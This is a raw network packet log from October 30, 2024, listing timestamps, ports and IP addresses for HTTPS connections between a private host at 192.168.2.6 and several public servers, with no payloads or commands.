Oct 30, 2024 11:45:19.761120081 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.761126995 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.761157990 CET	49749	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.761162996 CET	443	49749	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.763465881 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.763497114 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.763699055 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.763840914 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.763849974 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.782929897 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.783478022 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.783539057 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.783721924 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.783736944 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.783746958 CET	49748	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.783752918 CET	443	49748	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.785938978 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.785974979 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:19.786127090 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.787333965 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:19.787352085 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.034914970 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.034977913 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.035038948 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.035336018 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.035336018 CET	49750	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.035356998 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.035367012 CET	443	49750	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.036947012 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.040546894 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.040558100 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.040632963 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.040889978 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.040925980 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.041309118 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.041322947 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.041419029 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.041424990 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.154301882 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:20.154340029 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:20.154459953 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:20.157310963 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:20.157332897 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:20.175189972 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.175252914 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.175304890 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.182455063 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.182471037 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.182522058 CET	49751	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.182528019 CET	443	49751	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.185151100 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.185173035 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.185971022 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.186239958 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.186252117 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.198772907 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:20.198802948 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:20.198873043 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:20.199805975 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:20.199820042 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:20.505680084 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.507842064 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.507853985 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.508172035 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.508177042 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.524159908 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.525609016 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.525619030 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.526137114 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.526140928 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.552896976 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:20.552923918 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:20.552979946 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:20.553261995 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:20.553278923 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:20.561817884 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.562381983 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.562400103 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.563219070 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.563224077 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.643708944 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.643817902 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.643883944 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.644037008 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.644046068 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.644088030 CET	49753	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.644093037 CET	443	49753	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.648057938 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.648113966 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.648175001 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.648545980 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.648561001 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.662712097 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.662987947 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.663058043 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.663113117 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.663113117 CET	49754	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.663141966 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.663152933 CET	443	49754	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.666464090 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.666512012 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.666583061 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.666738033 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.666752100 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.703445911 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.703643084 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.703727961 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.703933954 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.703942060 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.703949928 CET	49755	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.703953981 CET	443	49755	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.708452940 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.708477020 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.708538055 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.708678961 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.708693027 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.825922012 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.826343060 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.826370001 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.826832056 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.826839924 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.961642027 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.962055922 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.962090015 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.962568045 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.962574005 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.970144033 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.970494986 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.970547915 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.970593929 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.970608950 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.970619917 CET	49756	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.970626116 CET	443	49756	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.973088026 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.973114014 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:20.973175049 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.973320961 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:20.973335028 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.054698944 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.054785967 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.062170982 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.062190056 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.062627077 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.101408005 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.101634026 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.101686001 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.102721930 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.102746964 CET	49758	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.102751970 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.102758884 CET	443	49758	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.106822014 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.106870890 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.106921911 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.107372046 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.107386112 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.108460903 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.114608049 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.159341097 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.269876003 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.269946098 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.273159027 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.273176908 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.273428917 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.328344107 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.350682020 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.358237982 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.358309984 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.358372927 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.358689070 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.358689070 CET	49759	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.358697891 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.358706951 CET	443	49759	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.395334005 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.406582117 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.407461882 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.407488108 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.408543110 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.408624887 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.418247938 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.418668985 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.418697119 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.419487000 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.419495106 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.429945946 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.430067062 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.430238962 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.430253983 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.430720091 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.431431055 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.431456089 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.431870937 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.431875944 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.447330952 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.447361946 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.447567940 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.447897911 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:21.447910070 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:21.467470884 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.468734026 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.468734026 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.468760967 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.468770981 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.486193895 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.555346966 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:21.555386066 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:21.555454969 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:21.555707932 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:21.555718899 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:21.560070038 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.560317993 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.562633991 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.562747002 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.562762976 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.562776089 CET	49763	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.562791109 CET	443	49763	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.565417051 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.565443039 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.565882921 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.566104889 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.566123009 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.569782972 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.569889069 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.570149899 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.570384979 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.570391893 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.570420027 CET	49764	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.570425034 CET	443	49764	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.574806929 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.574826956 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.575324059 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.575324059 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.575344086 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.606195927 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.606684923 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.610009909 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.653333902 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.653345108 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.653374910 CET	49765	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.653379917 CET	443	49765	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.676637888 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.676794052 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.676876068 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.676947117 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.676954031 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.677030087 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.677073002 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.677078009 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.678086996 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.678091049 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.682085037 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.682125092 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.682209969 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.685106039 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.685961008 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.685966015 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.689717054 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.689733028 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.724769115 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724797010 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724811077 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724829912 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724839926 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724850893 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724884033 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.724910021 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.724960089 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.724960089 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.729799032 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.729820967 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.730673075 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.782242060 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.782242060 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.793159008 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.793334007 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.794240952 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.794245958 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.797116995 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.798532963 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.798537016 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.801515102 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.801574945 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.801579952 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.810276985 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.814483881 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.814488888 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.833514929 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.833724022 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.833739996 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.849375010 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.849482059 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.863765955 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.863786936 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.881548882 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.881561995 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.882261992 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.882266045 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.884568930 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.884568930 CET	49757	443	192.168.2.6	4.175.87.197
Oct 30, 2024 11:45:21.884602070 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.884623051 CET	443	49757	4.175.87.197	192.168.2.6
Oct 30, 2024 11:45:21.898973942 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.904692888 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.904725075 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.905504942 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:21.905509949 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:21.910095930 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.910208941 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.913882971 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.913929939 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.913934946 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.913944960 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.913985968 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.917749882 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.918776989 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.918823957 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.918833017 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.933852911 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.933911085 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.933922052 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.971117973 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:21.971470118 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:21.971482038 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.015023947 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.015185118 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.015233040 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.015964031 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.015978098 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.015990019 CET	49767	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.015995979 CET	443	49767	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.018865108 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.018918991 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.018985987 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.019329071 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.019340038 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.020473957 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.026868105 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.026947021 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.027081966 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.027087927 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.030844927 CET	443	49761	142.250.186.174	192.168.2.6
